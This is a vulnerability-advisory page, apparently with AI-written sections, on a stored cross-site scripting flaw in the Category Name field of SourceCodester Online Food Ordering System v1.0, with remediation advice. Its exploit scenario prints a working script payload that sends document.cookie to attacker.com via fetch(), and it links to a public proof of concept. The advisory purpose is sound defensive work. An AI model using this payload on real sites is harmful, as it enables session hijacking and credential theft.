Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Output encoding, context-aware escaping
MITRE ATT&CK
2 techniques across 2 tactics: Initial Access, Execution The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up. |
| Impact | Risk assessment is constrained by missing CVSS metrics and EPSS data in the provided intelligence. However, multiple signals indicate moderate-to-high real-world risk: (1) Publicly available exploit code exists, lowering the barrier to exploitation; (2) The attack requires authenticated access (admin or user with category management privileges), reducing the immediate attack surface but increasing risk in multi-user or compromise scenarios; (3) Stored XSS impacts all users who view affected data, creating a persistence mechanism superior to reflected XSS; (4) The target (category names) is a fundamental data element likely rendered across multiple pages, multiplying exposure. Without CVSS vector data, we cannot quantify attack complexity or scope, but the presence of working exploit code and the application's widespread use in online food ordering contexts suggest this warrants prioritization. The lack of KEV status does not diminish the risk-many actively exploited vulnerabilities lack formal CISA designation. |
| Exploit ScenarioDerived | An authenticated attacker (or compromised admin account) creates or edits a food category, injecting a malicious JavaScript payload such as <script>fetch('https://attacker.com/steal?cookie=' + document.cookie)</script> into the Category Name field. The payload is stored in the database. When any other admin or authorized user later visits the Category list page or any page displaying this category, the JavaScript executes in their browser with their session cookies and privileges, allowing the attacker to steal credentials, hijack sessions, or perform administrative actions. Publicly available exploit code on GitHub confirms this attack path is straightforward to execute. |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv1 – Mar 27, 2026
Stored XSS in SourceCodester Online Food Ordering System v1.0 allows authenticated administrators to inject malicious JavaScript via the Category Name field in the admin panel, with payloads executing in the browsers of any user viewing the Category list. Publicly available exploit code exists; the vulnerability stems from insufficient input sanitization on a critical administrative function that affects all downstream users who access affected categories.
RemediationAI
Immediate remediation requires upgrading SourceCodester Online Food Ordering System to a patched version released by the vendor; however, no specific patched version number was provided in the available intelligence. Until a patched version is confirmed available and deployed, implement server-side input validation and output encoding: sanitize all user input to the Category Name field using a whitelist approach (e.g., alphanumeric characters and safe punctuation only), and apply HTML entity encoding when rendering category names in any output context. Additionally, deploy a Content Security Policy (CSP) header to restrict inline script execution, and conduct a comprehensive audit of other admin-panel input fields for similar XSS vulnerabilities. Reference the public exploit at https://github.com/meifukun/Web-Security-PoCs/blob/main/Online-Food-Ordering-System/Stored-XSS-Category-Name.md for technical details on the injection point and payload patterns to inform your testing and remediation validation.
Affected VersionsENISA
Affects your stack
Find out whether the stacks and servers you run are on an affected version.
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
The vulnerability is a Stored Cross-Site Scripting (XSS) flaw classified under CWE-79 (Improper Neutralization of Input During Web Page Generation). The Online Food Ordering System fails to sanitize or encode user-supplied input in the Category Name field during creation and update operations within the admin panel. Unlike reflected XSS, the injected payload is persisted in the application's data store and executes whenever any authenticated user views the affected category in the system, making it a high-impact attack vector. The root cause is the absence of input validation, output encoding, or content security policy enforcement at both the input (server-side sanitization) and output (HTML entity encoding) boundaries.
Know when Online Food Ordering System gets its next vulnerability
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
Primary rating from NVD · only source for this CVE.
CVSS VectorNVD
Lifecycle Timeline
2DescriptionCVE.org
A Stored Cross-Site Scripting (XSS) vulnerability exists in SourceCodester Online Food Ordering System v1.0 in the Category management module within the admin panel. The application fails to properly sanitize user input supplied to the "Category Name" field when creating or updating a category. When an administrator or user visits the Category list page (or any page where this category is rendered), the injected JavaScript executes immediately in their browser.
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.
More in Online Food Ordering System
View allAn arbitrary file upload vulnerability in the component /fos/admin/ajax.php of Food Ordering System v2.0 allows attacker
Remote Code Exection (RCE) vulnerability exists in Sourcecodester Online Food Ordering System 2.0 via a maliciously craf
Multiple SQL Injection vulnerabilities in tourist5 Online-food-ordering-system 1.0. Rated critical severity (CVSS 9.8),
An arbitrary file upload vulnerability in the component /admin/ajax.php?action=save_menu of Online Food Ordering System
SQL injection in SourceCodester Online Food Ordering System v1.0 allows remote attackers to execute arbitrary SQL comman
Online Food Ordering System v1.0 is vulnerable to multiple Unauthenticated SQL Injection vulnerabilities. Rated critical
Online Food Ordering System v1.0 is vulnerable to multiple Unauthenticated SQL Injection vulnerabilities. Rated critical
Online Food Ordering System v1.0 is vulnerable to multiple Unauthenticated SQL Injection vulnerabilities. Rated critical
Online Food Ordering System v1.0 is vulnerable to multiple Unauthenticated SQL Injection vulnerabilities. Rated critical
Online Food Ordering System v1.0 is vulnerable to multiple Unauthenticated SQL Injection vulnerabilities. Rated critical
Online Food Ordering System v1.0 is vulnerable to multiple Unauthenticated SQL Injection vulnerabilities. Rated critical
Online Food Ordering System v1.0 is vulnerable to multiple Unauthenticated SQL Injection vulnerabilities. Rated critical
EUVD-2026-16672
NVD
CVE.org
EPSS
Vulnrichment
GitHub
VulDB
Exploit-DB